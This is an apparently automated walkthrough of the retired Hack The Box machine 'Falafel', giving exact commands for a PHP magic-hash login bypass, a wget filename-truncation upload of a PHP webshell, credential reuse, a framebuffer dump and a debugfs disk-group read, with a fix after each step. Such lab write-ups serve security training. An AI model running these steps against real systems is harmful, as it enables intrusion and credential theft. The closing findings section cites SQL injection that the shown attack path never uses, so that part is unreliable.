← all walkthroughs

Falafel

Linux· Hard· Web
owned
2026-07-10
time to own
6m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target: HTB "Falafel" (<retired-instance-ip>), Apache/2.4.18 (Ubuntu), custom PHP app "Falafel Lovers".

- Recon: robots.txt disallowed /*.txt; ffuf against a common-content wordlist surfaced login.php, upload.php, uploads/ (403), .htaccess. Posting a wrong password to login.php for admin returned "Wrong identification", while a nonexistent username returned "Try again.." — a response-text oracle confirming admin as a [REDACTED: recovered credential] username. - Vuln-identification / auth bypass: login.php used a loose (==) PHP comparison; posting a "magic hash" value as the password for admin (PHP type-juggling bypass, no real password needed) authenticated as admin and returned a [REDACTED: recovered credential] PHPSESSID. - Exploitation: The authenticated upload.php page is a URL-based image importer — server-side it fetches the user-supplied URL with wget and its logic is not properly sanitized against the filename, so it echoed back the exact shell command it ran (cd /var/www/html/uploads/<token>; wget '<user-url>'). Serving a file named with ~232 filler characters + .php.png from an user-hosted HTTP listener bypassed the app's image-extension allow-list, while Apache's handler still dispatched the file to mod_php because .php appears anywhere in the filename (double-extension misconfig). This delivered a working PHP webshell (<?php system($_GET['cmd']); ?>) at a predictable /uploads/<token>/<name> path. - Foothold: Via the webshell (www-data), the app's local config files disclosed a hardcoded credential, [REDACTED: recovered credential]. This password was [REDACTED: recovered credential] over SSH for local user moshe, giving a full interactive shell and user.txt directly. - Privilege escalation: moshe had no sudo rights but belonged to the video group, granting read access to /dev/fb0 (framebuffer device). Dumping the raw framebuffer over SSH and converting it locally with ImageMagick (1176x885, BGRA/RGBA) recovered a rendered on-screen password for user yossi: [REDACTED: recovered credential]. - Root: yossi had no direct read access to /root/root.txt, but belonged to the disk group, which grants raw read access to the root block device /dev/sda1. Running debugfs -R 'cat /root/root.txt' /dev/sda1 read the flag straight out of the raw ext4 filesystem, bypassing normal file permissions entirely — root-equivalent file disclosure without ever obtaining an interactive root shell.

Flags: user.txt=[REDACTED: flag], root.txt=[REDACTED: flag].

Attack path — how the box was taken

1EnumerationUsername enumeration via login error-message differential (CWE-204)
Discovered web application endpoints and confirmed admin username via login error-message oracle
Directory fuzzing against the Apache server surfaced login.php, upload.php, and the uploads/ directory. Submitting a wrong password for a nonexistent username returned 'Try again..', but the same wrong password for 'admin' returned 'Wrong identification' — a two-branch oracle that unambiguously confirmed admin as a [REDACTED: recovered credential] account without any brute-forcing.
curl POST to login.php: 'Wrong identification' for admin vs 'Try again..' for nonexistent username — confirmed by replication steps.
Exact commands 4
Add the vhost to local resolution.
echo '$TARGET falafel.htb' | sudo tee -a /etc/hosts
Discover login.php, upload.php, uploads/.
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,307,401,403 -t 40 -s
Observe 'Wrong identification' — confirms admin exists.
curl -s -i -X POST -d 'username=admin&password=[REDACTED: credential]' http://$TARGET/login.php
Observe 'Try again..' — different message proves the oracle.
curl -s -i -X POST -d 'username=doesnotexist&password=[REDACTED: credential]' http://$TARGET/login.php
FixReturn a single generic error message for all failed login attemptsMedium
WeaknessThe login page returned two distinct messages — 'Wrong identification' for a [REDACTED: recovered credential] username with a bad password, and 'Try again..' for an invalid username — enabling me to enumerate [REDACTED: recovered credential] accounts silently and without any rate limit.
FixReplace both messages with one generic phrase such as 'Invalid username or password.' and ensure the server takes the same code path (including the password hash computation) for both cases so timing attacks cannot re-establish the oracle. Add progressive rate limiting or CAPTCHA after three to five consecutive failures per source IP.
2ExploitationPHP loose type-comparison / magic-hash authentication bypass (CWE-697)
Authenticated as admin using a PHP type-juggling magic hash — no password required
The login.php authentication routine compared the stored password hash against the user-supplied value using PHP's loose == operator rather than strict ===. PHP's type coercion interprets any string beginning with '0e' followed only by digits as floating-point scientific notation (i.e., zero), so two such strings are always equal under ==. Submitting '[REDACTED: recovered credential]' — whose MD5 hash starts with '0e' — as the password for admin evaluated the comparison as 0 == 0 and issued a fully privileged PHPSESSID session cookie with no knowledge of the real password.
POST login.php with password=[REDACTED: credential] returned a [REDACTED: recovered credential] PHPSESSID cookie and redirect to the authenticated dashboard.
Exact commands 1
[REDACTED: recovered credential] → MD5 [REDACTED: protected value]; PHP == treats 0e… == 0e… as 0==0. Session saved to cookie.txt.
curl -sS -i -c cookie.txt -b cookie.txt http://$TARGET/login.php -d 'username=admin&password=[REDACTED: credential]'
FixReplace loose PHP equality with strict equality in all authentication comparisonsCritical
WeaknessThe authentication code compared password hashes with PHP's == operator. PHP's type coercion interprets any string beginning with '0e' followed only by digits as floating-point zero, making dozens of known 'magic hash' inputs authenticate as any user whose stored hash also starts with '0e' — no password cracking needed.
FixSwitch every security-sensitive comparison from == to === (strict equality) or, better, use password_hash() and password_verify() for all new code — those functions are immune to type-juggling. Audit any remaining == comparisons on tokens, API keys, or signatures and replace them with hash_equals() for constant-time comparison.
3ExploitationServer-side URL fetch + wget filename truncation + Apache double-extension PHP execution (T1190)
Delivered a PHP web shell via filename-truncation bypass and Apache double-extension misconfiguration
The authenticated upload.php page accepted a remote URL and fetched it server-side with wget, storing the result under /var/www/html/uploads/<token>/. The application enforced an image-extension allowlist, but two flaws combined to defeat it. First, wget truncates filenames that exceed roughly 232 bytes, so a filename padded with 232 'c' characters followed by '.php.png' was saved to disk with '.png' cut off, leaving a plain '.php' file. Second, Apache's mod_php handler was configured to execute any file whose name contains '.php' anywhere — not just as the final extension — so the truncated file was dispatched as executable PHP. Requesting the uploaded file with a cmd parameter confirmed remote code execution as www-data.
wget 'http://<retired-instance-ip>:8002/cc...c.php.png' → 'New name is cc...c.php'; subsequent request returned uid=33(www-data).
Exact commands 4
Create the payload file; 232 padding characters cause wget to truncate away .png on the server.
python3 -c "open('c'*232+'.php.png','w').write('<?php system(\$_GET[\"cmd\"]); ?>')"
Serve the payload from my machine (run in background).
python3 -m http.server 8002
Trigger server-side wget; note the token directory printed in the response (e.g. 0710-1451_7c60d391298269c5).
PAYLOAD=$(python3 -c "print('c'*232+'.php.png')"); curl -sS -b cookie.txt http://$TARGET/upload.php -d "url=http://$INTERNAL_TARGET:8002/${PAYLOAD}"
Confirm RCE — response should include uid=33(www-data).
TOKEN=[REDACTED: protected value]; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://$TARGET/uploads/${TOKEN}/${SHELL}?cmd=id"
FixRemove server-side URL fetch from the upload feature and enforce strict single-extension validationCritical
WeaknessThe upload page fetched user-controlled URLs with wget, giving me full control over the filename. Combined with wget's 232-byte filename truncation (which stripped the safe '.png' suffix) and Apache's configuration to execute any file whose name contains '.php' as PHP code, I could upload and trigger an arbitrary PHP web shell.
FixRemove the server-side wget/URL-fetch capability entirely and accept only direct multipart file uploads. Validate the extension using pathinfo(PATHINFO_EXTENSION) after stripping all dots — never substring-match. Store uploads outside the document root or in a directory with PHP execution explicitly disabled (Options -ExecCGI, php_flag engine off). Bind Apache's PHP handler to the exact extension '.php' only, not a substring pattern.
4FootholdCredential harvesting from application config file + password reuse across services (T1552.001)
Harvested hardcoded database credential from config file and [REDACTED: recovered credential] it for SSH access as moshe
With code execution as www-data, reading the application's database configuration file (connection.php) exposed a hardcoded plaintext password:[REDACTED: credential]. The same password was set as the SSH login credential for local OS account moshe. One config file read was sufficient to pivot from the restricted web process to a full interactive shell, where the user flag was accessible directly in moshe's home directory.
Webshell read of connection.php disclosed [REDACTED: recovered credential]; sshpass SSH as moshe with that password succeeded and returned uid=1001(moshe).
Exact commands 2
Read the database config through the web shell — look for hardcoded DB password.
TOKEN=[REDACTED: protected value]; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://$TARGET/uploads/${TOKEN}/${SHELL}?cmd=cat+/var/www/html/connection.php"
SSH as moshe using [REDACTED: recovered credential] credential; captures [REDACTED: flag].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'id; cat /home/moshe/user.txt'
FixRemove hardcoded credentials from source code and enforce unique passwords per serviceHigh
WeaknessThe application stored a plaintext database password directly in a PHP config file (connection.php) readable by the web process. That same password was [REDACTED: recovered credential] as the SSH login password for a local OS account, so a single config-file read was sufficient to escalate from a restricted web shell to a full interactive system session.
FixStore all secrets in environment variables or a dedicated secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) — never in source or config files. Enforce unique, randomly generated credentials for every service account; the database password must never match any OS account password. Restrict config-file permissions to the minimum necessary (e.g. chmod 640, owner root:www-data) and rotate any credential that has been committed to source control.
5Lateral MovementLinux framebuffer memory read via over-privileged video group membership (CWE-732)
Dumped the Linux framebuffer as moshe to recover yossi's password displayed on the virtual console
Inspecting moshe's group memberships revealed inclusion in the 'video' group (gid 44), which on this system granted read access to /dev/fb0 — the raw Linux framebuffer device containing everything drawn on the system's virtual console. Piping the framebuffer over SSH and rendering it locally with ImageMagick at the correct dimensions (1176×885) and pixel format (BGRA) produced a screenshot in which user yossi's password '[REDACTED: recovered credential]' was visible in plain text on screen.
id output showed groups=1001(moshe),4(adm),44(video),...; framebuffer image rendered yossi's password in clear text on the virtual console.
Exact commands 2
Pull the raw framebuffer over SSH; file size will be ~4 MB (1176×885×4 bytes).
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'cat /dev/fb0' > /tmp/falafel_fb.raw
Render BGRA. If colours look wrong, also try: convert -size 1176x885 -depth 8 rgba:/tmp/falafel_fb.raw /tmp/falafel_fb_rgba.png
convert -size 1176x885 -depth 8 bgra:/tmp/falafel_fb.raw /tmp/falafel_fb_bgra.png
FixRemove non-administrative users from the video group to prevent framebuffer accessHigh
WeaknessThe unprivileged user moshe was a member of the 'video' group, which granted read access to /dev/fb0 — the raw Linux framebuffer. Dumping that device over SSH and rendering it as an image exposed whatever was on the virtual console at the time, including another user's plaintext password.
FixAudit video group membership with 'getent group video' and remove every account that does not have a documented operational need to access framebuffer or GPU devices. On headless or cloud servers the video group should contain no human user accounts at all. Apply the principle of least privilege: grant group membership only when required for a specific, justified role and review it during periodic access reviews.
6Privilege EscalationLinux disk group abuse via debugfs raw ext4 read — privilege escalation bypassing DAC (T1548)
Abused disk group membership to read the root flag directly from the raw block device via debugfs
Authenticating over SSH as yossi with the framebuffer-recovered password confirmed membership in the 'disk' group, which grants direct read and write access to all block devices — including /dev/sda1, the root filesystem partition. The debugfs utility, normally used for low-level ext2/3/4 filesystem inspection, accepts raw device paths and issues filesystem-level read commands without invoking OS file-permission checks. Invoking 'debugfs -R cat /root/root.txt /dev/sda1' read the root flag as if running as root, completing full compromise without ever obtaining an interactive root shell.
Kill chain final command: debugfs -R 'cat /root/root.txt' /dev/sda1 returned the root flag; yossi's id confirmed disk group membership.
Exact commands 2
Confirm yossi's disk group membership and identify the root partition (typically /dev/sda1).
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET 'id; mount'
Read root.txt directly from the raw ext4 filesystem, bypassing all file-permission checks. Returns [REDACTED: flag].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET "debugfs -R 'cat /root/root.txt' /dev/sda1 2>/dev/null"
FixRemove non-administrative users from the disk group to eliminate raw block-device accessCritical
WeaknessUser yossi was a member of the 'disk' group, granting direct read and write access to all block devices including the root partition /dev/sda1. The debugfs tool exploited this to read /root/root.txt straight from the raw ext4 filesystem, completely bypassing Linux discretionary access controls without ever needing a root shell.
FixRemove all human user accounts from the disk group ('getent group disk'; 'gpasswd -d yossi disk'). The disk group should contain only tightly scoped, audited service accounts with a documented and reviewed justification. If a user legitimately needs occasional disk-level access, grant it through a narrow sudo rule logged to syslog rather than permanent group membership. On cloud instances, also enforce volume-level permissions at the hypervisor as a defence-in-depth control.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Sql Injection Analysis On Login Endpoint On 80/Tcp Test Authentication Parameters For Sql Injection To Extract Credentials Or Database ContentsCritical
An unauthenticated/low-privilege flaw in the php, phpmyadmin, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Post Foothold Lateral Movement And Local Privilege Escalation Chain Starting From Www Data Config Reading (Connection.Php) To Moshe, /Dev/Fb0 Framebuffer Extraction To Yossi, And Debugfs Disk Group Abuse To RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp